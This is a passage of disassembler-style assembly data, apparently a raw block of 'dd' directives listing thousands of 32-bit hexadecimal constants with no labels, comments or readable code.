		dd 0EB30037Ch, 28FDD76Ch, 839464E8h, 0F4BDF79h,	7BC1E0B8h
		dd 801DD7C0h, 788004B9h, 3C214Dh, 10ACCE6Fh, 0F413366Ch
		dd 7916062Fh, 8B600098h, 8E0C11Dh, 0DC350200h, 3FD2C6E1h
		dd 3ABF0516h, 0A858B556h, 56552530h, 0DB8000DCh, 383B121Fh
		dd 1CA4424Ah, 0B093406Fh, 59C35825h, 180AD190h,	45A2005Fh
		dd 6B0D29A3h, 100BE935h, 0E2CEB009h, 0E090DFACh, 0C300A871h
		dd 0E02992C1h, 4B0CD6C2h, 9DC8CE01h, 0A64603A3h, 92B052E7h
		dd 4C09683Fh, 50DDFD56h, 0BC1E09F0h, 18716935h,	0D01956D1h
		dd 0FF0448C0h, 8F3B9643h, 1A191090h, 0BE71DDh, 235EADA4h
		dd 0FC8DBBAEh, 75ED3001h, 3DE9088h, 8BEC532Fh, 0C098C878h
		dd 4083E25h, 290CD07h, 0B07132ACh, 58AD102Eh, 0BA001871h
		dd 428A3AA3h, 0F854055Bh, 0F8BC729Bh, 7CD202E4h, 0F709AE8Fh
		dd 901C28BDh, 70ED41C0h, 4BF71964h, 9790BC87h, 807ABCBCh
		dd 5397CE16h, 0A09F702Ch, 0DD046E74h, 70F6DF2Fh, 6B84DDBBh
		dd 6EAFD853h, 3C0A0E08h, 8A41DE07h, 174A9C26h, 79E2D007h
		dd 0EC4E1A85h, 2541C4F4h, 0A8A08138h, 236F57EAh, 4652BE01h
		dd 4905222Eh, 93808ECh,	0E5F9FA1h, 6D2F24FCh, 32B8C298h
		dd 3D071FC0h, 0C6D796FCh, 0CB4AD8F3h, 0CA14C8FCh, 5EA502B2h
		dd 8848312Eh, 0E7BD8744h, 860608FCh, 52467Ch, 7EBF3D7Fh
		dd 4B0C1C5Eh, 81B0BC0Bh, 168287C6h, 0CA5FD612h,	48105DB8h
		dd 0CC09C141h, 5158666Eh, 0EEFA93DCh, 8B2A9C3Dh, 0C486C884h
		dd 0E37CC061h, 0FD0132BAh, 5D25061Fh, 60E1744Bh, 4EF4CB7Bh
		dd 8CB830EDh, 6737D200h, 57AF065Dh, 0B0FE13FAh,	7CCCB0DAh
		dd 3C469F24h, 869089BFh, 4E3870F3h, 0F238B211h,	3F993098h
		dd 47763000h, 348D402Fh, 0ECB85AFCh, 0B2E84370h, 0BE053059h
		dd 0B5014CF8h, 90969F5Fh, 0D37EF6DAh, 4843E4Ch,	88B00AD7h
		dd 93DA25E2h, 6104E8D8h, 4CD1EFFh, 0B08AFBh, 1A0CAA84h
		dd 133EED8Ch, 0E9C31E6Fh, 45788E8h, 80BEF149h, 0BB5CD328h
		dd 924CCC0Ch, 28D49EBh,	0A9B87B7h, 0A07E2458h, 0F7F6A389h
		dd 90F7C430h, 94082211h, 6936F075h, 0C8F0C8E2h,	9BD2E409h
		dd 9BCF995h, 2078C210h,	2279C98h, 405C7687h, 6315A276h
		dd 94A75000h, 0C7D69C99h, 0BA0C0359h, 51354D7Fh, 4CF81E0h
		dd 79124B78h, 0D7ABD18Bh, 0BD89F18Ah, 0ADB06E7Dh, 3085FE5Bh
		dd 0B30E2ADDh, 0C01A836Bh, 5708F907h, 37074659h, 0FC87707Ah
		dd 49E0110h, 0D03B06CBh, 2514830Fh, 36089ECh, 27C7800Dh
		dd 115460E9h, 9CBB6652h, 54955FF0h, 0D8C04E60h,	332DBD03h
		dd 884DF9BFh, 8B993784h, 1942A58Eh, 9D38E0FEh, 10186B91h
		dd 93D11075h, 8E410025h, 0B04CA5C2h, 61145A3Ah,	1C719589h
		dd 2CE8860Fh, 0DAEBD4Ah, 0C015E94Dh, 0DB18B58Dh, 9D9C2BF4h
		dd 335E9529h, 6DC9099Fh, 0F64C5716h, 0E940B30Ch, 246E430Bh
		dd 2907BEh, 8FDCF62Bh, 0B92ADE79h, 10AC256h, 770D35B5h
		dd 0BD33FC01h, 12BB2DB1h, 0EC6BEECAh, 0F5AC0902h, 4DF5C02Bh
		dd 229AC040h, 0F1012677h, 0EA01D065h, 0BE4266CFh, 0B88E93BAh
		dd 3233ADFEh, 0D060D1C2h, 75A760DDh, 7A71B7F4h,	26181779h
		dd 0E2DC9B12h, 0D2F14A0Ah
		dd 0DCD7F4ADh, 937E7B03h, 982C6C41h, 0C2880D57h, 39B50921h
		dd 95F068FFh, 0C076015h, 20A19D01h, 89BD19C3h, 8D0D3B14h
		dd 0F0F21A0h, 4F50DFB7h, 31883C2h, 0E90878C1h, 50198256h
		dd 95D89658h, 0D64954h,	43F0B2C5h, 831BB870h, 0B1A1BD35h
		dd 8184AA04h, 0A09DE7AEh, 70F9FFEAh, 0F77EE1B8h, 3AEEA06Dh
		dd 457A021Ah, 7B17609Eh, 0FDDDA82h, 6E128D07h, 9DA0A34Fh
		dd 0FF05DCEDh, 23E83AE1h, 0F570714h, 6615FC82h,	403CBF14h
		dd 113D108Eh, 3E047EC4h, 190E1823h, 1AB462D5h, 0D9E18250h
		dd 132915Bh, 971A6702h,	821511ADh, 60F8F192h, 37F7B57Fh
		dd 0E01F11E8h, 57458DE7h, 0A12D6E00h, 46414A3h,	262775A9h
		dd 80C81E8h, 4C211E89h,	650E0393h, 7AFF97E5h, 0F7AD5F96h
		dd 310170C0h, 95219B5h,	41353AE4h, 40ADB924h, 8C2D6601h
		dd 0DC91FCD9h, 0B5205D07h, 0F81FBD2Bh, 4AE1804Eh, 246BAA04h
		dd 0A1D80A05h, 0E807870Bh, 0DAC9A83Ch, 8E011D29h, 57181CF1h
		dd 3DE3B100h, 19D6F3EAh, 0F9DBBFD9h, 0C5999D0Ah, 0C1BD0B85h
		dd 0A6C12394h, 633324C9h, 263015E2h, 0F8605F75h, 8E7C805Eh
		dd 1F0D9697h, 4B63CB4Dh, 8288B9h, 5B616177h, 33F985A1h
		dd 22940585h, 8AC0149Bh, 0A5BF909Eh, 772B6F13h,	38F87B0Fh
		dd 0A0174166h, 7DD8A2Dh, 5CD1F168h, 0FBFBF5B1h,	320E46C0h
		dd 0B74E16C2h, 6D8F0C40h, 9713BB35h, 31010C07h,	2BA3FD85h
		dd 0B83EF92Ah, 0E70C018Fh, 9952ED7h, 550C3070h,	3E9C909h
		dd 0C76D5D02h, 70D4DCE0h, 0ECF7FEA3h, 4DBE28A6h, 0AFF56EE7h
		dd 72D3AFD2h, 23C984C7h, 0BDFF1030h, 0D9D285F0h, 0C0A89AAFh
		dd 4B8361F4h, 9AC04B8h,	0B128D9Dh, 3460429h, 75659019h
		dd 67BD2A82h, 0DC0377ACh, 9358E5BEh, 0C88AAA7Bh, 0A00689F1h
		dd 911825CEh, 8E0F4364h, 6FF6AFDCh, 0B4255C00h,	2B67E54h
		dd 0B1790800h, 13A9F8CDh, 0D3EC03A4h, 468910C7h, 86E78C1Dh
		dd 507F08C2h, 75856051h, 348AA007h, 0D1FD9124h,	2E6181Ah
		dd 0C95256ABh, 64F75499h, 7FA80003h, 9D1D106Bh,	39001619h
		dd 32CB76AEh, 53FFA198h, 0DF05EAB5h, 0FBDABF0Fh, 38FF2588h
		dd 0E85F1F03h, 695180E4h, 0A8CEEC31h, 0E7DC7Fh,	7FFC3227h
		dd 0EFE5DF1Fh, 4479D501h, 2E935D47h, 0BF5F6FD8h, 0D42F3571h
		dd 0F0FB40A6h, 8D077A92h, 25B331Ah, 8BAADD97h, 0A8DED62Fh
		dd 7E922DFh, 96A0C601h,	0AA903950h, 1448C42h, 73028D0Fh
		dd 74258CDh, 0A343D781h, 0F7B512D9h, 9BE012CDh,	2CA8B7Dh
		dd 0BBA603CDh, 51571F68h, 958902C7h, 90042CD9h,	76085AD8h
		dd 0E7FE1FEBh, 2C3A4BA9h, 7747907Fh, 74080017h,	0B3323C11h
		dd 233A8C41h, 61DC0963h, 0A34450h, 0D5563420h, 0A0ED952Ah
		dd 8665F71Ah, 51C6826Ah, 0F58A0102h, 4D373661h,	10FB5CE3h
		dd 0E8282691h, 6A55005Bh, 9776028Ch, 0C72C5BF8h, 256CAA85h
		dd 165EF681h, 101C7CD5h, 5D96A4BAh, 0AA277438h,	85B2EDF6h
		dd 0E8805960h, 0A521E929h, 2E209D13h, 0B80C3050h, 0F447311h
		dd 10E8C101h, 0F6070E5Ah, 5803E24Ch, 0E71BBC52h, 0BC3636EBh
		dd 0DC736408h, 50661B2Ch, 81212829h, 139A5818h,	1B125701h
		dd 84C03584h, 5B0EC0E2h, 0CC384ABBh, 0A04F5C97h, 81047185h
		dd 0D4B5F731h, 5EA82C24h, 0C02E044Dh, 14E67DECh, 22500059h
		dd 7F929F85h, 820F89D5h, 0A9EBF81Fh, 25E508FDh,	23E3725h
		dd 6E51CFB5h, 31FA0261h, 47E72584h, 0C80E1527h,	0CEA92182h
		dd 3E40C653h, 5B811411h, 6BB5D620h, 37F787F1h, 0C9751C72h
		dd 0B5C42D0Eh, 0F3B24600h, 0BB20E33Eh, 0CC541712h, 1F1ABAC7h
		dd 956DFD04h, 2C3CEBC0h, 4EB301F1h, 0B5891E25h,	60902459h
		dd 0C103BFA6h, 6C407212h, 567B01Dh, 0A47600D1h,	2088AA21h
		dd 0AE648CB6h, 4D4008E8h, 21D29071h, 4F618804h,	0C081595Bh
		dd 0FB50658Dh, 13CABF96h, 0F3D8402h, 0E034FE8Ah, 15A80659h
		dd 6838028Ch, 233D9D33h, 1920C972h, 5B572B20h, 9D2302CEh
		dd 6FC41335h, 1117D520h, 48C48689h, 548813C1h, 89F7A309h
		dd 97176636h, 0D69056h,	0B3ECB12h, 0EBC7BF4Ch, 68453433h
		dd 0C283C92Ah, 6D73880h, 89745DE7h, 8820502Ch, 4C6EEDEh
		dd 2D468678h, 0FE6A82C9h, 0C2798261h, 0D9098209h, 0FD878BB8h
		dd 15007DB7h, 28B2AD87h, 830F2635h, 0CD3145AAh,	0F39E008Eh
		dd 600B19D4h, 49850B50h, 1C845A35h, 81CB48D0h, 33B8860Fh
		dd 16A95FA5h, 0EFA73B8h, 35F9BDh, 868A5BBBh, 0A20202C0h
		dd 0A9F9D11Eh, 0B2F14AC2h, 0AF6639h, 1AEFE4BBh,	91C609Dh
		dd 212DB512h, 2CD12821h, 0BC75AD2Ah, 7B290033h,	8160B30Ch
		dd 68007FCEh, 0E9BB41D4h, 0B07E878Dh, 0B756177Ah, 287248Eh
		dd 67E9D393h, 35279145h, 147C002Ch, 0DEA475AFh,	0B529A817h
		dd 79DCF126h, 5929EDB9h, 39382EBCh, 0E2F80056h,	0A88440BBh
		dd 95291A67h, 0F64065D5h, 8ED0C55h, 32549759h, 2EED00F4h
		dd 3BF05AF3h, 0B626579Dh, 7519C8B9h, 0B27F9665h, 0FCAE00D7h
		dd 0CFF70ADBh, 8EA80003h, 0E6437EABh, 0BA0EBF42h, 84ED778Fh
		dd 68C9650h, 947EE81h, 0D0F7A54Fh, 180DFE82h, 0EE41E0Ah
		dd 7C814840h, 9E1DBD65h, 6301A868h, 0AD96F7BBh,	7085B142h
		dd 28D4950Ch, 8D1002D6h, 1D16C548h, 590F7AE9h, 3DA48846h
		dd 0C1958704h, 0EA976F10h, 0AA2C696Eh, 0DDFB1481h, 2FB6132h
		dd 95DDD87h, 0BD40AF6Fh, 0BFF07D7Eh, 0FD009559h, 881287F4h
		dd 49EB2680h, 22591ECAh, 0BFD9519h, 85C3C60Ch, 80EB9BEEh
		dd 66D2FF42h, 0D7B62E4Dh, 130508F5h, 85BF27h, 8C488EA7h
		dd 0B901EB98h, 5FE9471Ah, 55C6FFF3h, 0C558C473h, 2CAB48EAh
		dd 2C1B8CC0h, 0A3027B46h, 4F7A44F6h, 0CC0F601Eh, 0F9C15E8Bh
		dd 2CC2B83Dh, 9241C40h,	4D2C91BDh, 2958410Ch, 2C058711h
		dd 0E7CFCDC9h, 0BB5F3083h, 6D1578B3h, 6A6014h, 5B846494h
		dd 7890ACDh, 3A4A3C09h,	0C196B53Eh, 4084916h, 0CDFB8985h
		dd 0C8B17BA2h, 0A338D0E2h, 8B23AA78h, 0BAF78C52h, 0FD9E5ED1h
		dd 1E4B7650h, 0DA2434EAh, 0BE97C0DDh, 988F330Eh, 0D4E70CC9h
		dd 0D8709069h, 6B3501Dh, 0F8B577E5h, 28F898BBh,	0AB0629A8h
		dd 7B661A65h, 2D350EF5h, 45EE2184h, 4F61A6BEh, 2877AB6Ah
		dd 71E663FCh, 58D4978Dh, 9A584A23h, 8A7601B7h, 66D1FFFCh
		dd 2BBEC9BFh, 18828B8h,	5638841Ch, 0A4A2E77Dh, 4124408Fh
		dd 889D9E0Ch, 6A00125Dh, 0E5850102h, 9010C031h,	8B50AEB7h
		dd 0E90DE76h, 0F80F44h,	0AC72869Ch, 2320BB1Eh, 6C841702h
		dd 831BD5E1h, 8D5FFBFFh, 0AD5F0ECAh, 518FA8B1h,	0C141F682h
		dd 0B5840959h, 2102D85h, 5F0DD2E9h, 0DB44C151h,	0A6AF7584h
		dd 0F0BBE3ABh, 83D3EA5h, 11E87F97h, 0ACCC4380h,	0EC27DF0h
		dd 0FC6D9072h, 0A1282E00h, 215CCDD0h, 5FDE12A3h, 0C0839AABh
		dd 90C5CA93h, 9344B8FCh, 93B01C3Ah, 0DFDD802Bh,	2DF70F90h
		dd 5250042Eh, 0E1AADA8Ah, 2140E2CFh, 90281159h,	0BB005EE9h
		dd 0E2736CCEh, 7ABDDCCh, 0DF48E7A7h, 0B056D754h, 35FF6411h
		dd 0E4F3C2E1h, 1499BCD0h, 24258964h, 0B964EA4Bh, 0CCC9B9DAh
		dd 47115A04h, 5BB4FF6Ah, 4CCD73C3h, 0BD16F759h,	2DF13226h
		dd 0D0FBE905h, 80FA8B28h, 0B0A5DF1Ah, 212548D8h, 0E65B12E1h
		dd 0FEB270h, 0FD78A3A5h, 72E4E02Ch, 89710BF2h, 0F6294985h
		dd 0D95E6177h, 0A05731A5h, 166CC30Dh, 5E430076h, 23BF017Fh
		dd 3E027CA4h, 733DC2B6h
		dd 74F155DDh, 5F616007h, 89C8E29Fh, 4A68DAB5h, 4DBFCCBAh
		dd 6A312941h, 76D8F27Eh, 67E06503h, 0A9CDA93Ah,	34DCFA3Fh
		dd 0E9A002DFh, 4E8C10Ch, 23759C40h, 0EEF05D82h,	0E9DBBB0Dh
		dd 5E91742Bh, 0A9D1280Eh, 0E9A38D54h, 0E057D695h, 0DDB05D52h
		dd 37F9A717h, 14154704h, 0FA130412h, 378CB85Bh,	1040B52h
		dd 90FB3C2h, 0B44845Ah,	733854E9h, 2B0745C5h, 2448C6EDh
		dd 2175C84Ah, 8B069084h, 84A5FAF0h, 0BE82FE17h,	98DE2F8h
		dd 1176244Ch, 0AA15FB8h, 950505FFh, 2F908F3Dh, 0C42E30BBh
		dd 0B9262562h, 880FC561h, 0FA8ADE20h, 1B8949B9h, 0B6FCA664h
		dd 0AAA0E440h, 26B8E27Fh, 0A8A0FCF0h, 82CF3250h, 66EDC0A6h
		dd 100B82E0h, 8760997Dh, 0D0BA8B0Dh, 4AE5E0B3h,	27A1C900h
		dd 9795741Ch, 0FE0B4067h, 0BD235B12h, 0ACFCC4BBh, 38ED5F6Eh
		dd 0A84B47E8h, 0F0B898Fh, 4402F9B7h, 59092B31h,	27CE204Ah
		dd 31BA9CC2h, 4007CDFDh, 93487BF5h, 66486B7Eh, 60CC4A56h
		dd 5E1597FCh, 1CC837A5h, 0B95AC041h, 0AD5B68Bh,	20A2A120h
		dd 57A119DDh, 2B6D3539h, 979C6A28h, 2DF463DEh, 41101739h
		dd 0E3020D24h, 78AE2B9h, 24E6FDEAh, 85952908h, 0C45B1303h
		dd 0F2E6AF3Ah, 0FD6642F0h, 0F9DDFA00h, 3777A3BFh, 7604C4Dh
		dd 0CDEDD474h, 2534B110h, 2F8DC661h, 0DDB7E1FFh, 39BC6D00h
		dd 122185E4h, 0E22D40B9h, 6B3A8885h, 3D80DEB5h,	156E4FCAh
		dd 0BF940E38h, 7A897BD5h, 20448871h, 0EF09E554h, 4E715F2Ah
		dd 8857D844h, 6C007ECDh, 0C17B0C43h, 95152A55h,	1BA9BB2Eh
		dd 49203170h, 0E21A982Bh, 37329719h, 4035EDFDh,	266915Ch
		dd 0B3A9D81Ah, 0B5CF024Ah, 403D5C14h, 0ED9D3151h, 4A121F49h
		dd 0CA4D21D2h, 0ED735DB0h, 426C158h, 8255E96Bh,	6D1081F3h
		dd 132D2E34h, 0CFC0075Ah, 0F9D04D30h, 13CDDA09h, 45F08248h
		dd 843C14Fh, 595F5212h,	0E75B1288h, 3FAF4A11h, 56C800D8h
		dd 0D1AF3001h, 8B6B0078h, 49EB81A8h, 755C23A9h,	0E8C10DEh
		dd 1A5F57C4h, 0B2E2C40Ch, 0F9BB02E4h, 90299ABDh, 8E0F30C8h
		dd 60FB0A4Ah, 44E5F2BAh, 4489A325h, 6A4000CAh, 0BBE73049h
		dd 3201F64Ah, 0C5685F33h, 86885B74h, 0BF40078Bh, 258542EEh
		dd 55C05F06h, 0C3258F3Ah, 15355D6Fh, 0B4727E81h, 553CE38Bh
		dd 0CD2A174Ah, 5DF92F42h, 7E168AACh, 1C09DB2Ch,	0BC9671FAh
		dd 0B0E90904h, 8BB0001h, 97023288h, 2ED95131h, 0DEEF4D12h
		dd 0ACD19384h, 202A1D3Fh, 5FD8F8C6h, 9A059600h,	419F8AEAh
		dd 401ABEC0h, 4B532F79h, 2D9EE800h, 0A331B11h, 8164013Fh
		dd 0BC42A540h, 93372E04h, 6E93E3C0h, 8C0C4B89h,	0C50FBF6Ch
		dd 0BD18CE13h, 2331AEFh, 4F20A9B6h, 641D44A1h, 83A3F0EAh
		dd 60347A01h, 9D01804Dh, 0F92F10C9h, 29BDC261h,	69580909h
		dd 509B8195h, 0DB6C49B3h, 19E8A14Ch, 0DD1F018Ch, 84744D0Ch
		dd 4E342EF9h, 9CB89AE9h, 462EBF00h, 0E2685CA8h,	0CCE32574h
		dd 0AC407310h, 0A1310404h, 86906A7Fh, 4B3B8F1Dh, 0CA6BAF33h
		dd 7302BB5Ch, 859D893Bh, 6A251076h, 0D036F33Fh,	7774655Eh
		dd 60C01E0Eh, 0BD8941FCh, 443E12C9h, 0E2D51DDh,	50902661h
		dd 0D6E42488h, 118408FFh, 80C5FEAFh, 0C96696CEh, 7F1C6255h
		dd 0F5099E65h, 8E1E735Fh, 0F86961FEh, 0BD9DC85Dh, 0CD780013h
		dd 0A3BA6B39h, 21260767h, 9D0980ABh, 594A2909h,	0DEE4C826h
		dd 0A95A89E3h, 0C69A5907h, 0B30E2F2Ah, 133EE90Dh, 0C0D9DBAEh
		dd 0ABA71F97h, 91E512C1h, 0AE41E34Dh, 5C6BAE4Eh, 4275C500h
		dd 0CB21276Ch, 9D5696E6h, 0E67DF2D1h, 3BB9006Ch, 0FB78C1D4h
		dd 0AB000C93h, 0C2F56A74h, 9BF463Ah, 6C28E6A6h,	0AA449171h
		dd 83D3DB53h, 0F0FE144Dh, 247228C7h, 59153BF6h,	5D7B3F79h
		dd 0F5A3C509h, 35AF4453h, 98090200h, 0AD5C89BEh, 92B5FF6Bh
		dd 0BB99E681h, 0E470B925h, 6379E195h, 2A0F417Ah, 0B301FB33h
		dd 0DD194A8Dh, 0B16A2AA1h, 380F4C00h, 337C87AEh, 0E3B75013h
		dd 9D31FF43h, 22C8D4B5h, 989AACFBh, 2B75455Dh, 6BE65235h
		dd 0EDE520E7h, 0A426D4F0h, 5D0A14DFh, 73C97D34h, 0B8E87012h
		dd 975DA302h, 55F9F49Fh, 95843BD9h, 0A1B926A5h,	80D89BD6h
		dd 29186FA9h, 959259Dh,	0B795C5CEh, 99C80107h, 3A5B5645h
		dd 7E08F821h, 4FF44030h, 0E5FC20B8h, 9A009447h,	23968503h
		dd 2C200EEDh, 13F65F3Ch, 0B78AC445h, 806A4ECEh,	19363403h
		dd 9282F079h, 2BE9A182h, 80FE5809h, 821D59DFh, 8A09FE56h
		dd 0A7D573F9h, 1C008F35h, 60B89136h, 7D852D09h,	0C9819320h
		dd 1497B6F1h, 60E18DC0h, 0E987A78Bh, 0BA01B5A4h, 1EFBD541h
		dd 0EC396A08h, 43599CBCh, 0F600BC3h, 18E41281h,	0C91BDEh
		dd 0F82430F0h, 0D692D4B6h, 61097A18h, 49CDD3E0h, 4E99BF26h
		dd 553520FAh, 0EC9D334Bh, 40A92320h, 7E959625h,	839280DAh
		dd 0D639AEB2h, 9057D700h, 17916F98h, 55930272h,	0E5B75250h
		dd 5F666E59h, 4D8F6E13h, 6096421Eh, 5AF1F18Bh, 6C5D5600h
		dd 0EB7F28h, 0C3F3ED26h, 1CD14BBAh, 0EC9CFE0Ah,	81606461h
		dd 94E1EBF7h, 5F3340BCh, 0ECF34FDBh, 3F009A28h,	20F059F4h
		dd 1298544Eh, 0E3DFCF23h, 0B51273F6h, 0D0E307ADh, 0CF776B89h
		dd 0A34340BEh, 1A0262BEh, 734F8552h, 7EBD9D7h, 90FCCA38h
		dd 0ECED296Dh, 2876A58h, 917793D4h, 0E491890Fh,	0D21F00E7h
		dd 81BEE0C6h, 74023F1Ah, 6D7C490Eh, 0D75A6130h,	414D5F4h
		dd 0B35E3198h, 111CACEBh, 533B0882h, 7F128EA7h,	0F5C83974h
		dd 4F162760h, 3E58397Ah, 0CD72A180h, 3250C9BBh,	0BB57F02h
		dd 0EA1A519Dh, 0E9EB56F2h, 2453F653h, 134B8F16h, 0B282B6DEh
		dd 0A3E7301Ch, 0E528C203h, 0D0441502h, 5E5D8589h, 0B16B9123h
		dd 0F762F22h, 8AF84B7Eh, 4F5738F3h, 0DE0B797Ah,	0C6EA2C5Eh
		dd 0E44158A2h, 3769EE5Ch, 554E8B68h, 5AD8E609h,	0DC9294Bh
		dd 0EDACA304h, 55E9F9B0h, 0B7CA0997h, 0A6A780B4h, 0B973D957h
		dd 0A530D24Fh, 1BBBC18Bh, 0E8FBC37Dh, 9E5CDFC2h, 41C43F6Fh
		dd 62C2501Fh, 0EA537584h, 0F3545780h, 7187898h,	96095395h
		dd 371A307Fh, 0BF7729h,	0B324045Bh, 0ABC0D380h,	10B12FC9h
		dd 2BAE7A70h, 1623043Bh, 0DF43AD04h, 1400B2CFh,	519006F8h
		dd 0C001AAA9h, 2052B746h, 5CC6F380h, 0B5DD25ABh, 21768FD0h
		dd 0D2A194C6h, 4F2E9D20h, 9228CC90h, 0D1E651FCh, 6BA1E50Ah
		dd 0D7000DE9h, 0DDEB4C5Ah, 875C0960h, 0CD7F905Fh, 611661C9h
		dd 686F3A6Ah, 0DC6F6D00h, 0CD9D8976h, 0BB0617BAh, 0D739294h
		dd 0C29A9554h, 90029266h, 628975F2h, 49AD5C6Bh,	30791E53h
		dd 449E2D50h, 0F1980462h, 84D1FFA7h, 0A2B2AC8Ch, 0D94B737Bh
		dd 23E3F092h, 29915D04h, 14DB026Ah, 37D2D6C0h, 0EA717A71h
		dd 0F3E98295h, 16794B6Dh, 2491070Eh, 0AEB6BFD3h, 527473F0h
		dd 0A2B22F09h, 0C909846Eh, 84E1A9B8h, 0F7A92FAEh, 1C05F0BCh
		dd 73E162EFh, 23F4E9C7h, 0F059F6BAh, 732C56h, 849C1622h
		dd 0E8854E53h, 0D201C5A4h, 0A9B5B3E6h, 86DCDF96h, 3B7A3B58h
		dd 0AEDDA100h, 7599D892h, 4B98F495h, 2E5F2841h,	9B6FB635h
		dd 23D28501h, 6208F59Dh, 87C24B24h, 37DFA9A8h, 3E01810Bh
		dd 829F77E1h, 9D03F952h, 95957085h, 0D3E7DD8Bh,	9D6019E4h
		dd 0BE006149h, 23603990h, 0B5126D95h, 1A3DF0A2h, 0EFB86104h
		dd 1DE23643h, 0AA1E30h,	7C928AFFh, 3BEF6BECh, 49890F28h
		dd 0AF52109Fh, 0D9550096h
		dd 76BF2E61h, 0CA1C07AAh, 2541E2A1h, 0E81835FAh, 0CE335ED6h
		dd 8379DBF6h, 807A67A0h, 1729133Ch, 452EB1Bh, 0AE2EC940h
		dd 981F63F3h, 336580BAh, 910B89ACh, 3DD83B4Bh, 80428A29h
		dd 0B0934B7Ch, 0C4B5CFB0h, 0F270E6ABh, 0CC007092h, 0BCAD817Bh
		dd 236AEF9h, 985C03A3h,	93C21E9Bh, 7F824365h, 40800720h
		dd 2784B8Bh, 1994DCD5h,	0EEE171E4h, 0F7A2140Eh,	3D341D00h
		dd 0B30AC9C5h, 0A4975B71h, 945DD069h, 608AC080h, 10E1801Dh
		dd 3067C673h, 104E5A58h, 40602181h, 0BB57C8B6h,	0E64EC004h
		dd 64BC5F5Bh, 0A2B0BF87h, 0CE836FAh, 6FE67933h,	2538997h
		dd 5ED05467h, 0CF810A51h, 349D03DCh, 0EBC0C82Bh, 7F25881Dh
		dd 0BD53E013h, 1B075939h, 0A1E904D6h, 18A45D21h, 9AB0D34h
		dd 996307D3h, 89D60C61h, 9578E9BDh, 612FF492h, 3154AF97h
		dd 0B98D3106h, 3E447101h, 89C30481h, 0BF2D1CE7h, 0F8250AF2h
		dd 8F159E4h, 69B6C4D9h,	0A5830522h, 66FE1800h, 4B5C781h
		dd 398D89ADh, 410CB913h, 0DEBA9262h, 150B60F6h,	0B4512C09h
		dd 0D92A4180h, 0F620C8h, 56B0702Bh, 0CB730F9h, 7B66A70h
		dd 41641DDCh, 2F4840DFh, 7C69D2E8h, 7F10E695h, 0E63A0981h
		dd 0C6DF142Dh, 0FDBD1047h, 5ABB0123h, 0B91D9C36h, 4E99BC3Bh
		dd 5800166Eh, 0D36532A6h, 84BF516Eh, 0A31014BAh, 2E90C309h
		dd 90BDC678h, 0EB9D26h,	0D7F44D8Ch, 6191B1D5h, 5B7AF609h
		dd 0E9C602FCh, 7B590932h, 2B09D824h, 9FA4B7D2h,	8A21421Ch
		dd 2442B184h, 4A91F09h,	0D3DA0D5Ch, 0BF2F503Eh,	4D0BF7FAh
		dd 0D9262B72h, 0A4C4A5FBh, 0F07576A2h, 0A6359765h, 2A811791h
		dd 89E042A1h, 5E2DFD6Ch, 373EB07h, 131E2F70h, 402B114h
		dd 120DF198h, 0EDF5CCE2h, 9DD6A8DDh, 5B8112F6h,	0F5394387h
		dd 4BBDBB20h, 22C7CE32h, 0BBB8703Dh, 0B589021Bh, 3B5704B1h
		dd 0DA1E09F2h, 5CCDE1FFh, 0E3D2EAC0h, 0C8E904D4h, 0BC457B50h
		dd 484A568h, 79DF4509h,	52044443h, 0A30216B2h, 0E6733075h
		dd 0B751485Eh, 586B14h,	0DEDC176Bh, 26995610h, 0ED010Bh
		dd 5760ED2Fh, 34BC9509h, 58F15F92h, 0A62E122Eh,	8F4FE00Ch
		dd 0E1C212B2h, 617104D3h, 6E33AE10h, 0EF2F4BE0h, 0FD0FE46Bh
		dd 7889B00Eh, 596D4807h, 6082AA5Bh, 796FEB80h, 0F3619220h
		dd 0BF0F0920h, 97685FD8h, 2D8B0387h, 0D66ADB1Ah, 0BF37507Dh
		dd 0A080B194h, 44959A90h, 1789E992h, 0A9117B35h, 82D1FD60h
		dd 610BF516h, 7257DB58h, 92320A86h, 0F12AD932h,	533057D8h
		dd 7E23468Eh, 30612F7Fh, 0CDE9010Eh, 0DF2ADE2Bh, 12C6E440h
		dd 257DD0B1h, 0E0CAE6E2h, 0ABD0F5D3h, 0EF63F1Dh, 0B8E1DB82h
		dd 35E30B3h, 0EBE85D69h, 7A7E8CA2h, 0A7C0D100h,	0ECD4F8E2h
		dd 8C834B23h, 937DB3CCh, 0BB35CE95h, 7DAB5083h,	0E89F1B00h
		dd 85651462h, 20269898h, 3AED2361h, 0B2B835A9h,	70207201h
		dd 0AE43861Fh, 4595C26h, 8F0263BCh, 0AB873386h,	0B7E8C1E1h
		dd 0FF4052Eh, 6042C985h, 0E13195ACh, 558DC11Fh,	1617474h
		dd 2267D781h, 0F8501719h, 0DE972434h, 6F04D646h, 519D2953h
		dd 5B257EECh, 0F9020BE6h, 0DDD6968h, 5C0C14Dh, 0F1B9BB10h
		dd 8175C918h, 24DE967Ch, 9F04D12h, 0CA731EDDh, 2B181A79h
		dd 0EB8B9C07h, 0A11E2DA2h, 90DC8AFBh, 0AD80D03Ch, 9BDA77B6h
		dd 0EDF45026h, 90FFB700h, 4EC1BD03h, 56948B29h,	6055B001h
		dd 8A9B05A4h, 433E8C6h,	9188198h, 80023761h, 0CAA36F3Ah
		dd 0B80722F5h, 2B5D73BDh, 4A266543h, 4FEECF58h,	0EB041E6Ah
		dd 0E8877578h, 5131CB31h, 0A5A62CCBh, 5713E545h, 8E64DEAEh
		dd 0AED020ACh, 25292FAFh, 6558B15Fh, 81753260h,	9630D9E7h
		dd 23CF2703h, 0F3EE9B44h, 278E4B58h, 77E83AE9h,	0CA016FFCh
		dd 0B479E519h, 0F97C1A88h, 84F6B2D2h, 0B6EF043Ch, 0C572F010h
		dd 0C5A55A88h, 0D0F2C2Ah, 6DB5FD6h, 0AA54B082h,	0BF8147F9h
		dd 0ACDEA80h, 6BDA752Eh, 0C1ED003Eh, 501A18D7h,	0DF1B0FBDh
		dd 7F2503BBh, 25B0810Ch, 10C3042Ch, 66B88C15h, 0A3E0B6B5h
		dd 0AECC8865h, 6D2F0433h, 5204800Fh, 5B0141ACh,	7F4AABBh
		dd 0E742F1Ah, 0F0C9B3BAh, 0B9978FFh, 524743D5h,	4FD60F09h
		dd 0C9FE5092h, 2A0E35A0h, 0F3840320h, 758A3CC8h, 0B8983382h
		dd 0C642EE73h, 1CF1845Dh, 0BB8F02ADh, 237B65C9h, 0D468AEh
		dd 48C203C9h, 0CB0BFB50h, 65F2714Ah, 0D576C8A9h, 0FB044A4Eh
		dd 14BC8E59h, 11DBEB93h, 0D6B92F80h, 0FC5E8957h, 7B2CB709h
		dd 0D46DA517h, 0C6601B64h, 0EE3FD2B7h, 0D48C92B0h, 3C8066ECh
